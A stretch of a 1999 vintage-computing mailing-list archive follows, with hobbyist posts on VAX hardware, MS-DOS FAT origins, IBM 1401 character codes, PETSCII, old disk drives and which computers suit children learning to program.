hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From meo at netads.com Tue Jan 12 16:04:36 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:02 2005 Subject: Ink printers(wasSociology and Message formatting) In-Reply-To: <199901121634.QAA06159@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 12, 99 05:34:30 pm Message-ID: <199901122204.QAA08337@wildride.netads.com> Hans Franke said... |If Xerox is big in not marketing PARC ideas, SIEMENS |has at least the same attitude about some developments. As one of the people who started this thread, I was struck by a couple of companies I've worked for with similar attitudes. Here's a story from one. In the early 80s I worked for the systems division of a firm specializing in (ground vehicle) traffic control. When we first started getting into graphics, we realized we would end up using a variety of graphics subsystems, and we were already using a variety of minis. So a couple of of worked out several cool ideas: - a portable, device independent graphics package - an object-oriented toolkit for said system - a runtime, interpreted language for realtime displays based on the toolkit - an easy to use, graphical editor based on the toolkit which was easily capable of creating GUIs, or even reimplementing itself - a desktop for said system (No, I don't recall whether we used "object-oriented" and "desktop" as the terms, but that's what they were.) We drew our ideas from everywhere - the Commodore 64, Byte Magazine, our imaginations. It even included a way to handle random input devices, since we knew not everyone would be using a mouse. (While I was there we worked with mice, light pens, touch screens and tablets.) The only major thing I think we missed at the time was networked displays. Management balked a bit at first, but soon got excited over it and let us build the first four ideas (saving the last for later, if and when they decided we needed it). That was the cool part. It got used in a number of systems (VAX/VMS, Perkin-Elmer/Megatek, SEL/NAPLPS (some cheesy NAPLPS terminal), and MODCOMP/something. We even had printing and a CalComp plotter driver. Among other things, it got us the contract to handle the new traffic control system for LA's downtonw in time for the 1984 Olympics. It was a *way* cool system. The sad part was that manegement refused to even consider selling or licensing the technology. It was our "strategic advantage". Arguments that others would do it as well carried no weight. It made sense, because the company's mission was traffic control systems. But I still wish it had escaped our propetary grasp... This technology could have been the basis of X or something similar, which would have been around much earlier, and even more portable than X. At the very least, it would have provided a very nice OO toolkit and graphics editor. (Yeah - same company where I made sure we could handle the year 2000 backin in the early 1980s.) -Miles The most interesting part is the language we implemented it in... From meo at netads.com Tue Jan 12 16:09:06 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:02 2005 Subject: Superkids? Message-ID: <199901122209.QAA08373@wildride.netads.com> Cameron Kaiser said... | |Eight years old and learning PDP-8 assembler? What does she do on the |weekends, solve differential equations?!? :-) Actually, any reasonably intelligent 8 y/o who is interested, and who has learned to enjoy learning, is capable some level of assembler programming. It's amazing what society and the schools can do to destroy a young mind. -Miles From dastar at ncal.verio.com Tue Jan 12 16:06:34 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:02 2005 Subject: y2k stuff In-Reply-To: <199901122130.PAA08153@wildride.netads.com> Message-ID: On Tue, 12 Jan 1999, Miles O'Neal wrote: > Hans Franke said... > | > |> > I love your comments (and I guess you had also some contact with > |> > these 9 Bit Byte Bull Mini computers :) > > I think it was Hughes that made 18 bit and 36 bit computers, too. > > 9 bit byte machines weren't exactly common in the 60s and 70s, > but they weren't exactly rare, either. The TX-2 at MIT was either a 9, 18, 27 or 36 bit machine based on how you programmed it. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From jhfine at idirect.com Tue Jan 12 16:09:31 1999 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:40:02 2005 Subject: RT-11 Help References: <199901122142.PAA08220@wildride.netads.com> Message-ID: <369BC81B.61150D40@idirect.com> >Miles O'Neal wrote: > Dunno about RT11, but VMS also has the /ERASE > option on the DELETE comand, to write a pattern > over the old file. Somewhere I've seen another > version that had a parameter for the number of > times to overwrite the file... > > Anyway, VMS help is online! > > http://www.ceri.memphis.edu/help/@SYS_HELP Jerome Fine replies: Nope!! RT-11 does not have a DELETE/ERASE option. Does anyone want me to add that option? If there is sufficient interest, it might not be that difficult. At the same time, I would also add an overwrite option on the copy for files which are the identical size. As far as RT-11 online help, does anyone know if the hobby license from Mentec also includes a copy of the DOCS for V5.3 of RT-11? Then, is anyone willing to scan them onto the internet? Sincerely yours, Jerome Fine RT-11/TSX-PLUS User/Addict From ard at p850ug1.demon.co.uk Tue Jan 12 13:14:09 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:02 2005 Subject: _Way_ OT: dollar coins was Re: Y2K stuff In-Reply-To: <13419314478.10.DSEAGRAV@toad.xkl.com> from "Daniel A. Seagraves" at Jan 12, 99 06:56:02 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 484 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990112/bd4dd118/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 12 13:24:29 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:02 2005 Subject: y2k stuff In-Reply-To: <199901121403.OAA25482@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 12, 99 03:03:23 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3446 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990112/032962cb/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 12 13:29:47 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:02 2005 Subject: _Way_ OT: dollar coins was Re: Y2K stuff In-Reply-To: <369B72CA.CD302BF5@bigfoot.com> from "Max Eskin" at Jan 12, 99 11:05:30 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 595 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990112/6540ac42/attachment.ksh From netcafe at pirie.mtx.net.au Tue Jan 12 16:20:49 1999 From: netcafe at pirie.mtx.net.au (Computer Room Internet Cafe) Date: Sun Feb 27 18:40:02 2005 Subject: What's a VAX 6000/300 ? Message-ID: <01be3e79$cf048f20$f17d38cb@netcafe.pirie.mtx.net.au> -----Original Message----- From: Chuck McManis To: Discussion re-collecting of classic computers Date: Wednesday, 13 January 1999 5:30 Subject: What's a VAX 6000/300 ? > >My guess is that it isn't "classic" yet, but there is a nice example of one >at Berman for _next week's_ auction. (unless they are saving it and the >tape drive for someone) It's from around 89-91 era, so it might be. I have a couple. One built in 89, (A Classic!) 1 in 90. It's a medium sized Vax, about the size of a very big fridge. The 300 series cpu's were good for about 3.8 VUPS (1 VUPS ~ 1MIPS). The middle digit of the 300 indicates the number of cpus in the system. Depending on individual machine config, this could be anything from 1-4.. The internal tape drive would be a TK70, a 280mb version of a TK50. They will also read TK50 tapes but not write to them. A typical 6000-310 would probably have 64Mb of RAM, and an ethernet adapter, plus it may or may not have either a KDB50 SDI Disk/Tape controller and/or KLESI-B controller for TU81+ tape drive. It could also have instead of a disk controller a CI bus adapter to allow it to use HSC mounted disk/tape drives in a VAXCluster configuration. Apart from the size and weight, if you have the room, they are a good, reliable machine. VMS or Ultrix only. NetBSD not supported (No XMI Bus support). They are 3 phase, but it's fairly easy to convert to single phase, and they only consume around 500w. My 6000-220 (slightly slower, but a 2 cpu version) draws about 2A @240vac from a domestic power outlet. FWIW, it can be moved by hand, though it takes about 6 guys, weighs about 200Kg, about 30 of which is a 3 phase autotransformer in the bottom. (First thing I get rid of!) They need a VTxxx terminal as a console. One of these was my first Vax, so I guess I'm sort of an enthusiast. Oh yeah, they are just about unkillable, dropping one from a great height will distort the cabinet somewhat, but it will probably not stop it working. Hope this helps. Geoff Roberts Computer Room Internet Cafe Port Pirie South Australia. netcafe@pirie.mtx.net.au From netcafe at pirie.mtx.net.au Tue Jan 12 16:24:42 1999 From: netcafe at pirie.mtx.net.au (Computer Room Internet Cafe) Date: Sun Feb 27 18:40:02 2005 Subject: supers Message-ID: <01be3e7a$59dadb40$f17d38cb@netcafe.pirie.mtx.net.au> netcafe@pirie.mtx.net.au -----Original Message----- From: Sam Ismail To: Discussion re-collecting of classic computers Date: Wednesday, 13 January 1999 4:27 Subject: Re: supers >On Tue, 12 Jan 1999, Geoff Roberts wrote: > >> >Whether participating in distributed crypto challenges (like RC5) >> >qualifies as "unsavory" is yet to be determined. >> >> Nah. I suppose some might think it "unsporting", but it's just >> jealousy...:^) > >I don't think that's unsporting at all. With the latest and greatest >Pentium, all you have to do is plug a stupid little mini-tower into a wall >outlet. Victor and his gang will have to haul this huge behemoth home, >then figure out how to get the right power to it, then figure out how to >get the right cooling into it, then *pay* for that power and cooling to >run it, etc. > >If anyone is audacious enough to take on such a challenge then they >deserve the advantage :) I'm on your side.... Cheers Geoff Roberts Computer Room Internet Cafe Port Pirie South Australia. netcafe@pirie.mtx.net.au From dastar at ncal.verio.com Tue Jan 12 16:27:12 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:03 2005 Subject: Original 128K Mac available Message-ID: Ed Preble has a Mac 128 (upgraded to 512K) available to any interested party. It comes with a travel case. Any interested parties please contact him directly. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From cisin at xenosoft.com Tue Jan 12 16:34:08 1999 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:40:03 2005 Subject: Computers for children In-Reply-To: <199901122209.QAA08373@wildride.netads.com> Message-ID: This'll probably offend many. I think that an 8 year old would be best off with a machine with CD-ROM capability. And a good size stack of reference disks, including Encyclopedia Brittanica, atlases, and several collections of literature. There should also be WWW access, preferably with at least minimal graphics capability. If you really want to splurge, a cheap color inkjet printer. For programming, I would recommend BASIC, TO START WITH, followed by an introduction to C and assembly as soon as basic principles are understood. In the PC world, that would call for 386SX with VGA video, and DOS 3.10 or above. (preferably 6.2x) I would also recommend Windoze Notepad and Windoze Write for word processing. Once the kid has gotten thoroughly into it, THEN maybe a birthday present of a set of Linux disks? How much more than a C64 would a generic 386 AT cost? Do you need some of us to contribute some parts? -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com 2210 Sixth St. (510) 644-9366 Berkeley, CA 94710-2219 From eric at brouhaha.com Tue Jan 12 16:42:03 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:03 2005 Subject: MS-DOS FAT file system ripped off? (was Re: Stupid CP/M question) In-Reply-To: <199901120239.SAA14421@saul3.u.washington.edu> (dpeschel@u.washington.edu) References: <199901120239.SAA14421@saul3.u.washington.edu> Message-ID: <19990112224203.21840.qmail@brouhaha.com> > TOPS-6, I believe. (Yes, that's an ancestor of TOPS-10.) No. Before it was called TOPS-10, it was just "Monitor". > The structure was called the Storage Allocation Table and was pretty much > the same idea. My understanding of it was that the SAT was just a bitmap of the available blocks on the disk, and that each file had a RIB (Retrieval Information Block) which pointed to the actual data blocks of the file. This is very similar to the allocation bitmap, inodes, and indirect blocks used by Unix, and not very similar to the 86-DOS (AKA QDOS, MS-DOS, IBM-DOS) FAT. > Somewhere I probably still have have an e-mail message I got from one of the > TOPS developers, when I asked him about this topic. I'm definitely not an expert on the internals of Monitor, so I'd love to see that email. > Except for the problem of corruption, lost chains, and all that garbage. > (As I understand it, in some cases it's not possible to write a program to > fix errors, because there just isn't enough redundant information!) The > original TOPS-6 had the same problem. There has yet to be invented a file system that doesn't get corrupted. Even log-based file systems written to WORM media have been known to get corrupted, although it is easier to repair the damage. Of course, on a PDP-10 (or PDP-6), people didn't just yank the disk out of the drive (or reboot) at any old time. Disks had to be unmounted; the operator would issue the unmount command before spinning down the disk, and that would force the operating system to write any dirty buffers back to the disk, leaving it in a (hopefully) consistent state. The problems with corruption commonly occuring with MS-DOS are mostly caused by two phenomena: 1. The user removing diskettes or rebooting the system while the disk is not consistent. This could be mitigated to a large extent by a log-based file system. However, MS-DOS was certainly not any worse about this problem than any other contemporary disk operating system for small machines (i.e., that had to run in 64K or less RAM). 2. The lack of any memory protection to keep ill-behaved or buggy programs from corrupting the in-memory structures, which then can result in corrupted data being written to disk. Memory protection would largely eliminate this. A log-based file system wouldn't eliminate this problem, but would make it easier to recover. However, contemporary microcomputers weren't any better in this regard either. The FAT file system was a reasonable design at the time given the objective of having a file system for low-capacity removable media, and not requiring much RAM to deal with it. The mistake was to keep extending FAT to higher capacity drive and larger systems. It's now about 19 years old, about 16 years longer than it should have lived. And those idiots in Redmond don't seem to have any plan for a suitable replacement for desktop (not server) platforms. From red at bears.org Tue Jan 12 16:44:40 1999 From: red at bears.org (R. Stricklin (kjaeros)) Date: Sun Feb 27 18:40:03 2005 Subject: Original 128K Mac available In-Reply-To: Message-ID: On Tue, 12 Jan 1999, Sam Ismail wrote: > Ed Preble has a Mac 128 (upgraded to 512K) available to > any interested party. It comes with a travel case. Any interested > parties please contact him directly. I would be interested to find out if the Apple HD20 would work with a 128k that had been upgraded to 512k.. thus providing some sort of indication of why the HD20 doesn't seem to work on a 128k even though it appears as though it should. -- ok r. r e d @ b e a r s . o r g =========================== [ urs longa | vita brevis ] From meo at netads.com Tue Jan 12 16:52:20 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:03 2005 Subject: Computers for children Message-ID: <199901122252.QAA08676@wildride.netads.com> Fred Cisin said... | |This'll probably offend many. Maybe. I simply disagree - to an extent. |I think that an 8 year old would be best off with a machine with CD-ROM |capability. And a good size stack of reference disks, including |Encyclopedia Brittanica, atlases, and several collections of literature. What has that got to do with learning BASIC, or graphics? The nice thing about a Commodore, CompuColor, Mac II, etc, is the instant feedback. I realize the WWW can provide this (so long as you have a clear T3 path between systems 8^), but that's not the same. With a graphical basic, you create, you play. It's more like Legos(tm) or Tinker Toys (tm) than using a computer application. I agree that what you propose is a good thing for a kid to have, but it's a completely different topic - using the computer as a general purpose learning tool, or playing on a computer. What we were talking about was playing *with* a computer. |For programming, I would recommend BASIC, TO START WITH, followed by an |introduction to C and assembly as soon as basic principles are understood. I've yet to see a BASIC that runs on top of an OS that's as easy to get into and provides direct feedback as well as a graphical BASIC DOS. |Once the kid has gotten thoroughly into it, THEN maybe a birthday present |of a set of Linux disks? Hah. My kids started on Linux, at about 8 and 10. Yeah, I intend to (God help me) get a Win or Mac system soon, but only because there are too many things not yet available on Linux. But Linux is just fine as a newbie OS for a kid. -Miles From ard at p850ug1.demon.co.uk Tue Jan 12 16:22:21 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:03 2005 Subject: Silent 700 In-Reply-To: <199901121956.OAA09734@dgs.cs.unc.edu> from "Bill Yakowenko" at Jan 12, 99 02:56:27 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 437 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990112/53283987/attachment.ksh From eric at brouhaha.com Tue Jan 12 16:55:31 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:03 2005 Subject: 5.25" disks In-Reply-To: <369AF2D2.82944327@cnct.com> (message from Ward Donald Griffiths III on Tue, 12 Jan 1999 01:59:30 -0500) References: <4.1.19990106140237.00a204d0@mailhost.hq.freegate.com> <19990112012146.15910.qmail@brouhaha.com> <369AF2D2.82944327@cnct.com> Message-ID: <19990112225531.21942.qmail@brouhaha.com> I wrote: > I've got some Twiggy test diskettes made by 3M. I hadn't thought of trying > to sell them on eBay; if production Twiggy diskettes can fetch $22, I wonder > what test diskettes will fetch? Ward Donald Griffiths III wrote: > Considering the number of diskettes I've hand labelled "Test Media" > over the last 20 years, although I've usually specified particular > systems/drives rather than just capacity. What's a tech support > guy's TRS-80 model one test diskette likely to pull in? Or his 8"SS > Model 2 test diskette? I'd like to know, I've got disks and a felt > tip. Hmmm... I don't know about the "Test Media" diskettes that started this thread, but my test Twiggy diskettes from 3M have an official 3M engineering sample label with a lot number stamped on it, a disclaimer that there is no warranty, etc. I don't have a Certificate of Authenticity (for what little that would be worth), but I doubt that anyone outside 3M forged the labelling. From dastar at ncal.verio.com Tue Jan 12 16:57:16 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:03 2005 Subject: Computers for children In-Reply-To: Message-ID: This will be a good discussion. On Tue, 12 Jan 1999, Fred Cisin (XenoSoft) wrote: > This'll probably offend many. > > I think that an 8 year old would be best off with a machine with CD-ROM > capability. And a good size stack of reference disks, including > Encyclopedia Brittanica, atlases, and several collections of literature. Well, personally, I think that to give the child a better understanding of the computer, they should start with something simple and (dare I say) rudimentary, like a C64 or Apple II (Certainly more rudimentary than a modern day PC with a GUI masquerading as an OS). They will become more in tune with what each component of the computer is for. Instead of one big box with everything inside, all the components of a computer--the CPU, mass storage, output, etc.--is separate on an old computer. With a C64, you have the computer with the keyboard, the disk drive, a tape drive, etc. I think it helps the child to better understand the distinction of the different subsystems in the computer. My intent would be to give the child a headstart in the world of engineering. By distracting them with graphics and sound and all that nonsense you deprive them of senses they will need to make better engineers later on in life. They may get blown off course with all these distractions and perhaps never discover that they have a keen interest in the technology until they are in college, at which point their best learning years have already passed them by. I say, give a kid a simple computer, like I grew up on (something somewhat complicated but not impossible): an Apple II. Or what the hell, a PDP-11 if the kid has the aptitude (like young Danny Seagraves :) If they don't really care for programming (at least not for the time being) then go ahead and get them a more modern machine that can run Windows and access CD ROMs. I think what you are suggesting is to give kids a powerful tool for learning, whereas what I'm suggesting is to give them something they can use to help them grow intellectually in a way that is more specific to the actual technology of the computer itself. In other words, study the tool, not what the tool allows you to study. It all depends on what you want your child to be learning, so in this respect, I'm with Daddy Chuck. > For programming, I would recommend BASIC, TO START WITH, followed by an > introduction to C and assembly as soon as basic principles are understood. I don't see anything wrong with BASIC as a useable language for kids. I don't know why people are so down on it. Ok, so it doesn't have functions, and no, I wouldn't try to build a career out of it. I don't think throwing C and assembler at a kid "as soon as the basic principles are understood" would be necessarily productive. Let them have BASIC until its apparent they've outgrown it, then let them explore other options (but please keep them away from COBOL and Pascal :) Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From eric at brouhaha.com Tue Jan 12 17:01:47 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:03 2005 Subject: character codes and punched cards (was Re: y2k stuff) In-Reply-To: <199901121518.PAA02582@nixpbe.pdb.sni.de> (Hans.Franke@mch20.sbs.de) References: <199901112000.UAA14467@nixpbe.pdb.sni.de> (Hans.Franke@mch20.sbs.de) <199901121518.PAA02582@nixpbe.pdb.sni.de> Message-ID: <19990112230147.21990.qmail@brouhaha.com> I wrote: > For instance, the IBM 1401, which typically was booted from cards, but > had only 64 distinct characters. Hans replied: > Shure ? the 1401 is a bit before my time, but didn't they > already use 12 row cards with EBCDIC coding (like 12,1 to > 12,9; 11,1 to 11,9 and 0,2 to 0,9 for A-i; J-R and S-Z) ? The 1401 most definitely did not use EBCDIC. It only had six bit characters, with a seventh bit to serve as a word mark, and an eighth (non-programmer-accessible) parity bit. The word mark was used to denote the (leftmost?) end of a field, for variable-field-length instructions. However, since EBCDIC was by design (and by name) an extended version of existing codes, the 1401's card code is similar. Eric From eric at brouhaha.com Tue Jan 12 17:12:18 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:03 2005 Subject: Old ASCII (was: Re: Stupid CP/M question) In-Reply-To: <802566F7.004FF363.00@WESTD90.pgen.co.uk> (Philip.Belben@pgen.com) References: <802566F7.004FF363.00@WESTD90.pgen.co.uk> Message-ID: <19990112231218.22053.qmail@brouhaha.com> Philip.Belben@pgen.com wrote: > If you ever get the chance, have a look at the layout of a PET chicklet > keyboard. It is quite clever. PETSCII, unlike ASCII, _does_ make > connections between codes for shifted keys and those for unshifted keys - You missed my point entirely. My point wasn't that in ASCII that the shifted and unshifted keys weren't related in a simple binary manner. My point was that ASCII _has_no_concept_ of keys, or mappings thereof. To speak of shift-$ with regard to ASCII is a complete non-sequitur. To speak of it with regard to a PET makes perfect sense, but it's not ASCII. I've never seen a formal definition of PETSCII, so I can't comment on whether PETSCII defines the keyboard mapping. > So although PETSCII is not ASCII, don't knock it. It worked well. Who was knocking anything? All I was trying to do was to clarify that ASCII defines no key mappings. The PET 2001 was the first microcomputer I used. I have fond memories of it, and I have a 2001, an 8032, and an SP-9000 in my collection. Eric From yowza at yowza.com Tue Jan 12 17:12:26 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:40:03 2005 Subject: Computers for children In-Reply-To: Message-ID: On Tue, 12 Jan 1999, Sam Ismail wrote: > Well, personally, I think that to give the child a better understanding of > the computer, they should start with something simple and (dare I say) > rudimentary, like a C64 or Apple II (Certainly more rudimentary than a > modern day PC with a GUI masquerading as an OS). If your goal is to teach them about computers, then I think a *much* more rudimentary computer would be more appropriate. A C64 is OK for teaching high-level programming, but start them off with low-level stuff like how a logic gate works, advance to boolean algebra and let them stay there for a long time until they learn how to minimize gates in their own designs, let them build a CPU, microcode it, program it, and *then* move on to the exciting world of BASIC. Forget the C64 for a while, and find that kid a Geniac or something similar. -- Doug From paulk at microsoft.com Tue Jan 12 17:21:11 1999 From: paulk at microsoft.com (Paul Kearns) Date: Sun Feb 27 18:40:03 2005 Subject: Original 128K Mac available Message-ID: <8B57882C41A0D1118F7100805F9F68B50B5C9871@RED-MSG-45> > I would be interested to find out if the Apple HD20 would work with a 128k > that had been upgraded to 512k. It does. I was confused when I heard about people complaining that an HD20 wouldn't work with their 128, because it works fine with mine. Then I realized that mine was upgraded to 512k. I believe that there's not enough room in a stock 128 for the HD20 init, plus the buffers it needs, plus the rest of the operating system, plus user apps. > r. r e d @ b e a r s . o r g Paul Kearns paulk@microsoft.com From red at bears.org Tue Jan 12 17:28:30 1999 From: red at bears.org (R. Stricklin (kjaeros)) Date: Sun Feb 27 18:40:03 2005 Subject: Original 128K Mac available In-Reply-To: <8B57882C41A0D1118F7100805F9F68B50B5C9871@RED-MSG-45> Message-ID: On Tue, 12 Jan 1999, Paul Kearns wrote: > I believe that there's not enough room in a stock 128 for the HD20 init, > plus the buffers it needs, plus the rest of the operating system, plus user > apps. That's what I would've expected, but it still wouldn've been nice to have gotten some sort of error dialogue so I didn't have to sit around and wonder why it wasn't working. (: -- ok r. r e d @ b e a r s . o r g =========================== [ urs longa | vita brevis ] From kurtkilgor at bigfoot.com Tue Jan 12 17:15:46 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:40:03 2005 Subject: Computers for children Message-ID: <199901122328.PAA11048@geocities.com> > This'll probably offend many. (followed by a description of a circa 1991 powerhouse system) Well, it has been shown that it's not any more challenging to learn UNIX than Windows than DOS than MS BASIC 2.0 if it's the first exposure to computers. I think that if it can be helped, a person's first exposure should be as encouraging of good computing habits as possible. This means not windows, and preferrably not macintosh. Just like many intelligent people like to say that a child should learn to do manual calculations before using a calculator, same with this. A child should get a proper introduction to computers. No child needs to be stuck with stupid paintbrush programs for four years before graduating to doom. I agree with a C-64, though that's not really to great either. I recommend either a UNIX/Linux system, because that will allow learning about networks and so on, or a machine like a PDP-8 or an Altair that would encourage really low-level tinkering. I hope no one here makes the decision to raise a Microserf! From lwalker at mail.interlog.com Tue Jan 12 10:31:40 1999 From: lwalker at mail.interlog.com (Lawrence Walker) Date: Sun Feb 27 18:40:03 2005 Subject: MfM and Dll In-Reply-To: References: <199901110624.BAA04751@smtp.interlog.com> Message-ID: <199901122339.SAA19106@smtp.interlog.com> On 10 Jan 99 at 22:39, Don Maslin wrote: > On Sun, 10 Jan 1999, Lawrence Walker wrote: > > > I picked up an HDD made for the Atari ST by ICD. It is a shoebox form and > > has space and connectors for 2 HDs. The highly proprietory HD interface by > > Atari (ATASCI ?) is usually directly converted to SCSI in most newer HD adapter > > interfaces for STs. > > In the Atari and ICD HDs the DMA output was converted to SCSI by an ICD card > > and then to MFM or DLL. via an Adaptec 4004 (MFM) or 4070(RLL) controller. > > This one has an Adaptec 4070. The 1 drive present is a Miniscribe 3834P . > > I understand that some MFM drives could be coded by a RLL controller if > > they were fast enough, etc. I have an ST4096, which according to the specs I > > have seen is an 80 meg MFM , as well as several other smaller MFM HDs. > > According to a spec sheet the 4096 would work with Perstor Systems ADRT > > controllers to double the storage which would seem to indicate it was of high > > enough speed and quality to stand the tighter coding.. Anyone know if this is > > also true with an RLL controller or what MFM drives do work with RLL ? > > > > ciao larry > > lwalker@interlog.com > > Larry, I have had good luck with any Maxtor MFM, a number of NEC 5126 > drives, and even the odd ST225. In my experience, if it will accept the > low level format, it will probably work OK. > > - don > Thanks Don. The main thing I wanted to know was if an MFM would indeed accept RLL encoding. Your answer seems like a qualified yes. At least it shouldn't screw up the HDD. I'll try the 4096 (I never knew MFM even went to that high a capacity) and if that doesn't work I'm pretty sure I have a couple of ST225s. ciao larry lwalker@interlog.com From rigdonj at intellistar.net Tue Jan 12 19:51:23 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:03 2005 Subject: What is this: Tektronix 4129 and 4115B Message-ID: <3.0.1.16.19990112195123.2f6f62b6@intellistar.net> I went to my favorite scrap place today and they had a Tektronix 4115B and a 4129 that about ready to be recycled. Anyone know what the specs on these are? They're both large desk size chassis and and huge monitors on top. Both use 8" floppy disks. Are these somthing that needs to be saved? Joe From cisin at xenosoft.com Tue Jan 12 18:04:47 1999 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:40:03 2005 Subject: MS-DOS FAT file system ripped off? (from WHOM?) In-Reply-To: <19990112224203.21840.qmail@brouhaha.com> Message-ID: I don't know anything about the EARLIEST history of the MS-DOS FAT, but the later stuff was fairly well documented. Who has enough first hand knowledge to check the accuracy? Microsoft produced some "Stand-Alone BASIC" systems. They had file IO, and used a a directory structure that was, in principle, similar to that of MS-DOS, although they subscribed to the seek center fallacy of putting the directory on a track approximately halfway towards the center. What prior operating systems used a linked list for allocation management? The best known of the "Stand-Alone BASIC"s is the Radio Shack Color Computer. I have dealt with disks from the "Stand-Alone Basic" from Coco, NEC (8001, 8801) and Okidata (used in Russia!) The "MS-DOS Encyclopedia" explicitly mentions NCR. I have never seen a disk from that. Does anyone know the model, or could that have been a misprint for NEC?? Supposedly, Tim Patterson found out about the MS Stand-Alone BASIC while they (Seattle Computer Products) were sharing a booth with MS at a show (West Coast Computer Faire?) He thought that the linked list for storage management was really neat. When he wrote Q-DOS (later MS-DOS, PC-DOS, and 86-DOS) as a placeholder while waiting for CP/M-86 to come out, he used the FAT. When MS bought Q-DOS, they were buying a system that was mostly a copy of CP/M, but with a directory structure that had been copied from earlier MS products. -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com 2210 Sixth St. (510) 644-9366 Berkeley, CA 94710-2219 From spc at armigeron.com Wed Jan 13 18:01:17 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:40:03 2005 Subject: MS-DOS FAT file system ripped off? (from WHOM?) In-Reply-To: from "Fred Cisin" at Jan 12, 99 04:04:47 pm Message-ID: <199901140002.TAA02981@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 563 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990113/facfd4c8/attachment.ksh From ckaiser at oa.ptloma.edu Tue Jan 12 18:18:42 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:03 2005 Subject: MS-DOS FAT file system ripped off? (from WHOM?) In-Reply-To: <199901140002.TAA02981@armigeron.com> from "Sean 'Captain Napalm' Conner" at Jan 13, 99 07:01:17 pm Message-ID: <199901130018.QAA19722@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 978 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990112/84f89db2/attachment.ksh From cisin at xenosoft.com Tue Jan 12 18:15:45 1999 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:40:03 2005 Subject: Computers for children In-Reply-To: <199901122328.PAA11048@geocities.com> Message-ID: On Tue, 12 Jan 1999, Max Eskin wrote: > (followed by a description of a circa 1991 powerhouse system) Actually, a relatively state of the art system of 1988, and therefore within the charter of the list :-) I stand guilty as charged of describing a general purpose learning tool, rather than a system specifically for learning about computers. (BTW, I did NOT mention or suggest ANY sound capability). As expected, many were put off at the concept of learning BASIC on a PC clone. Is there any reason that the kid should be limited to only ONE computer?? Provide a "general purpose learning tool" with easy access to word processing and similar tools, and easy access to reference materials and online information resources; AND, IN ADDITION, a more minimal machine for studying the computer itself. (maybe one of those ZX81 kits? And some bulbs to connect in series and parallel. Surely an 8 year old should be ready to solder!) -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com 2210 Sixth St. (510) 644-9366 Berkeley, CA 94710-2219 From yowza at yowza.com Tue Jan 12 18:18:14 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:40:03 2005 Subject: MS-DOS FAT file system ripped off? (from WHOM?) In-Reply-To: Message-ID: On Tue, 12 Jan 1999, Fred Cisin (XenoSoft) wrote: > Microsoft produced some "Stand-Alone BASIC" systems. They had file IO, > and used a a directory structure that was, in principle, similar to that > of MS-DOS, although they subscribed to the seek center fallacy of putting > the directory on a track approximately halfway towards the center. Remind me again about why this was a fallacy. I thought the idea was to reduce the average seek time slightly by minimizing the average distance the head traveled by factor of 2 versus a directory on a track at one end of the disk. -- Doug From jim at calico.litterbox.com Tue Jan 12 18:24:29 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 